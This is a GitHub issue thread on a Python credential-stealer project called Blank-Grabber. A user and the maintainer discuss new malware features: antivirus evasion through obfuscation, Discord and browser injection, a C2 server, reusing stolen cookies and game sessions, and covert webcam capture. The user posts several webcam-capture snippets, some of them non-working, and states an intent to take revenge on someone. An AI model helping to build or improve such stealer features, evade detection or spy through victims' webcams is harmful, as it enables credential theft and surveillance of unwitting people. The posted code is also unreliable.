Blank-c / Blank-Grabber

The most powerful stealer written in Python 3 and packed with a lot of features.
MIT License
752 stars 207 forks source link

suggestions : more features #260

Closed ghost closed 1 year ago

ghost commented 1 year ago

@Blank-c I have good ideas for some features Some of them are :- fully undetected exe file 0/64 virustotal Better discord and browser injection more c2 servers

Blank-c commented 1 year ago

1) FUD not possible with pyinstaller. 2) The injection is not coded by be (I don't write javascript) so we'd have to wait until I find (or someone make) a better injection. 3) Can you give some examples of more C2 servers?

ghost commented 1 year ago

hmmmmmm Pyinetaller makes py into exe so obsfucate the py

Also find some good no dualhook js injection for discord browsers and other things like Gmail and YouTube

For the c2 u should make one in py I mean just host one at local host or 127.0.0.1 or smth like that with a secret key tat can be like the webhook or smth

ghost commented 1 year ago

Oh and also make cookies importable like making them into .json or Netscape and also make py be able to take pictures form webcam I will provide some sample untested code bcz I'm on phone

Blank-c commented 1 year ago

Cookies are already in netscape format. The py file can already take webcam pics.

ghost commented 1 year ago

Webcam code untested

import cv2

def take_webcam_screenshot():

Check if a webcam is available

if cam == "cam_yes":
    # Open the webcam
    cap = cv2.VideoCapture(0)

    # Check if the webcam is opened successfully
    if not cap.isOpened():
        print("Unable to open the webcam.")
        return

    # Read a frame from the webcam
    ret, frame = cap.read()

    # Check if a frame is successfully read
    if not ret:
        #print("Unable to capture a frame.")
        return

    # Release the webcam
    cap.release()

    # Save the frame as an image file
    cv2.imwrite("screenshot.jpg", frame)

    #print("Screenshot captured and saved as screenshot.jpg")
else:
    #print("No webcam detected.")

def check_webcam_available():

Attempt to open the webcam

cap = cv2.VideoCapture(0)

# Check if the webcam is opened successfully
if cap.isOpened():
    cam = "cam_yes"  # Webcam detected
else:
    cam = "cam_no"  # No webcam detected

# Release the webcam for 

the late reply 😁😁😁😁

cap.release()

return cam

Call the function to check webcam availability (for log lol)

cam = check_webcam_available()

Call the function to take a screenshot lol wat am i doin

take_webcam_screenshot()

@Blank-c modify it accordingly

ghost commented 1 year ago

And more features lemme just

Blank-c commented 1 year ago

hmmmmmm Pyinetaller makes py into exe so obsfucate the py

The py file is already much obfuscated and further obfuscation isn't changing the detection rate. I have tried it

Also find some good no dualhook js injection for discord browsers and other things like Gmail and YouTube

You can leverage the add to startup option for this

For the c2 u should make one in py I mean just host one at local host or 127.0.0.1 or smth like that with a secret key tat can be like the webhook or smth

One need to port forward their host in order to do this and also this project is a mere stealer, I don't want to turn it into a rat.

Blank-c commented 1 year ago

Webcam code untested

import cv2

def take_webcam_screenshot(): # Check if a webcam is available if cam == "cam_yes": # Open the webcam cap = cv2.VideoCapture(0)

    # Check if the webcam is opened successfully
    if not cap.isOpened():
        print("Unable to open the webcam.")
        return

    # Read a frame from the webcam
    ret, frame = cap.read()

    # Check if a frame is successfully read
    if not ret:
        #print("Unable to capture a frame.")
        return

    # Release the webcam
    cap.release()

    # Save the frame as an image file
    cv2.imwrite("screenshot.jpg", frame)

    #print("Screenshot captured and saved as screenshot.jpg")
else:
    #print("No webcam detected.")

def check_webcam_available(): # Attempt to open the webcam cap = cv2.VideoCapture(0)

# Check if the webcam is opened successfully
if cap.isOpened():
    cam = "cam_yes"  # Webcam detected
else:
    cam = "cam_no"  # No webcam detected

# Release the webcam for 

the late reply 😁😁😁😁 cap.release()

return cam

Call the function to check webcam availability (for log lol)

cam = check_webcam_available()

Call the function to take a screenshot lol wat am i doin

take_webcam_screenshot()

@Blank-c modify it accordingly

I know this, but opencv is a very large library and it would make the executable very large.

ghost commented 1 year ago

... no it won't just import only required things

ghost commented 1 year ago

It was never abt a rat

ghost commented 1 year ago

And importabl cookies Also make roblox and mc things importable If tats done I'll get my revenge on them the worst thing tat ever happened to this world we don't talk abt tat 🪥

ghost commented 1 year ago

@Blank-c better code tat imports required things

from cv2 import VideoCapture, imwrite, imshow, waitKey, destroyAllWindows

def take_webcam_screenshot():
    # Check if a webcam is available
    if cam == "cam_yes":
        # Open the webcam
        cap = VideoCapture(0)

        # Check if the webcam is opened successfully
        if not cap.isOpened():
            print("Unable to open the webcam.")
            return

        # Read a frame from the webcam
        ret, frame = cap.read()

        # Check if a frame is successfully read
        if not ret:
            print("Unable to capture a frame.")
            return

        # Release the webcam
        cap.release()

        # Save the frame as an image file
        imwrite("screenshot.jpg", frame)

        print("Screenshot captured and saved as screenshot.jpg")

        # Display the captured frame (optional)
        imshow("Webcam Screenshot", frame)
        waitKey(0)
        destroyAllWindows()
    else:
        print("No webcam detected.")

def check_webcam_available():
    # Attempt to open the webcam
    cap = VideoCapture(0)

    # Check if the webcam is opened successfully
    if cap.isOpened():
        cam = "cam_yes"  # Webcam detected
    else:
        cam = "cam_no"  # No webcam detected

    # Release the webcam
    cap.release()

    return cam

# Call the function to check webcam availability
cam = check_webcam_available()

# Call the function to take a screenshot
take_webcam_screenshot()
Blank-c commented 1 year ago

... no it won't just import only required things

It does, cv2 is a very big library.

It was never abt a rat

The basic idea of a rat is a piece of malware which can remotely be accessed by the attacker, if we can make localhost or our own server as a C2, it would typically become a remote access trojan.

And importabl cookies Also make roblox and mc things importable If tats done I'll get my revenge on them the worst thing tat ever happened to this world we don't talk abt tat 🪥

Cookies are already importable in firefox, see #133 Roblox cookie can be imported using extentions such as cookie editor, cookiebro, etc. Minecraft file can be 'imported'. You just need to paste the file in your own minecraft directory. If the session in valid, you will be logged in.

Blank-c commented 1 year ago

@Blank-c better code tat imports required things

from cv2 import VideoCapture, imwrite, imshow, waitKey, destroyAllWindows
# ...

This still import the cv2 library.

ghost commented 1 year ago

Time to find an alternative to cv2

ghost commented 1 year ago

Also find some good injection for discord and browsers

ghost commented 1 year ago

This might work

from PIL import Image
import numpy as np
import pyvirtualcam

def check_webcam_available():
    try:
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            cam.start()
            cam.stop()
        return "cam_yes"  # Webcam detected
    except pyvirtualcam.DeviceNotFoundError:
        return "cam_no"  # No webcam detected

def take_webcam_screenshot():
    # Check if a webcam is available
    if cam == "cam_yes":
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            # Capture a screenshot
            image = Image.open('screenshot.jpg')

            # Resize the image to match the webcam resolution
            image = image.resize((640, 480))

            # Convert the image to RGB format
            image = image.convert('RGB')

            # Convert the image to a numpy array
            frame = np.array(image)

            # Send the frame to the virtual webcam
            cam.send(frame)

        print("Screenshot captured and sent to the webcam.")
    else:
        print("No webcam detected.")

# Call the function to check webcam availability
cam = check_webcam_available()

# Call the function to take a screenshot
take_webcam_screenshot()
ghost commented 1 year ago

@Blank-c try i made it on a simple notepad

On phon

Blank-c commented 1 year ago

Bro you literally import numpy, the exe would be very huge. Check for yourself. Use the command pyinstaller --onefile <your file>.py after installing pyinstaller using pip install pyinstaller

ghost commented 1 year ago

Awwwwwwwwwww @Blank-c pls comment ur code now I'm turning on my pc I think I can add smth (after testing ofc)

Blank-c commented 1 year ago

Awwwwwwwwwww @Blank-c pls comment ur code now I'm turning on my pc I think I can add smth (after testing ofc)

which code?

ghost commented 1 year ago

Ur bank-graber whol code in on pc

ghost commented 1 year ago

+I'm a dev

ghost commented 1 year ago

+this new code has 0 numpy

from PIL import Image
import pyvirtualcam

def check_webcam_available():
    try:
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            cam.start()
            cam.stop()
        return "cam_yes"  # Webcam detected
    except pyvirtualcam.DeviceNotFoundError:
        return "cam_no"  # No webcam detected

def take_webcam_screenshot():
    # Check if a webcam is available
    if cam == "cam_yes":
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            # Capture a screenshot
            image = Image.open('screenshot.jpg')

            # Resize the image to match the webcam resolution
            image = image.resize((640, 480))

            # Convert the image to RGB format
            image = image.convert('RGB')

            # Create a byte array from the image data
            frame = image.tobytes()

            # Send the frame to the virtual webcam
            cam.send(frame)

        print("Screenshot captured and sent to the webcam.")
    else:
        print("No webcam detected.")

# Call the function to check webcam availability
cam = check_webcam_available()

# Call the function to take a screenshot
take_webcam_screenshot()
Blank-c commented 1 year ago

Isn't the code already on github

Blank-c commented 1 year ago

+this new code has 0 numpy

from PIL import Image
import pyvirtualcam

def check_webcam_available():
    try:
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            cam.start()
            cam.stop()
        return "cam_yes"  # Webcam detected
    except pyvirtualcam.DeviceNotFoundError:
        return "cam_no"  # No webcam detected

def take_webcam_screenshot():
    # Check if a webcam is available
    if cam == "cam_yes":
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            # Capture a screenshot
            image = Image.open('screenshot.jpg')

            # Resize the image to match the webcam resolution
            image = image.resize((640, 480))

            # Convert the image to RGB format
            image = image.convert('RGB')

            # Create a byte array from the image data
            frame = image.tobytes()

            # Send the frame to the virtual webcam
            cam.send(frame)

        print("Screenshot captured and sent to the webcam.")
    else:
        print("No webcam detected.")

# Call the function to check webcam availability
cam = check_webcam_available()

# Call the function to take a screenshot
take_webcam_screenshot()

No webcams available ...

ghost commented 1 year ago

u dont have webacm

Blank-c commented 1 year ago

u dont have webacm

Bruh, I litterally have one, did you test the code yourself?

ghost commented 1 year ago

no my pc is still bootin also i dont have webcam

ghost commented 1 year ago

just forget abt pycam for a sec ill figure it out i alwaws do now for .js injections

Blank-c commented 1 year ago

I just debug your code, did you copy it from somewhere? You literally have tried to invoke functions which are not even in the library.

Blank-c commented 1 year ago

Also, pyvirtual cam imports numpy.

Blank-c commented 1 year ago

just forget abt pycam for a sec ill figure it out i alwaws do now for .js injections

I already updated the discord injection.

ghost commented 1 year ago

k also my browser crased after built.exe ran pls fix

ghost commented 1 year ago

no copy

Blank-c commented 1 year ago

k also my browser crased after built.exe ran pls fix

Its not an error, the grabber kills the browser because the browser locks the cookies, passwords, history file and prevent others (including apps) from copying it.

ghost commented 1 year ago

ok

ghost commented 1 year ago

lemme check some good browser injections

ghost commented 1 year ago

@Blank-c i found a good discord injection https://github.com/lnfernal/Discord-Injection also i found browser inject not found yet

Blank-c commented 1 year ago

Like I said, I already updated the injection. Also the repo you sent link of is 1 year old.

ghost commented 1 year ago

Include use of multiple py and exe

ghost commented 1 year ago

I mean they will run py

ghost commented 1 year ago

Accidentally closed

Blank-c commented 1 year ago

Include use of multiple py and exe

What do you mean?

ghost commented 1 year ago

@Blank-c I mean option to include multiple python and exe files to run once exe ran

Blank-c commented 1 year ago

I can add multiple exe, but not multiple py file.

ghost commented 1 year ago

Why not

Blank-c commented 1 year ago

Because those files cannot be run in another process unlike the executable. Also if you want multiple exe, consider using a exe joiner.

ghost commented 1 year ago

Hmmmmm k

ghost commented 1 year ago

It would be still nice tat option could make tat py into exe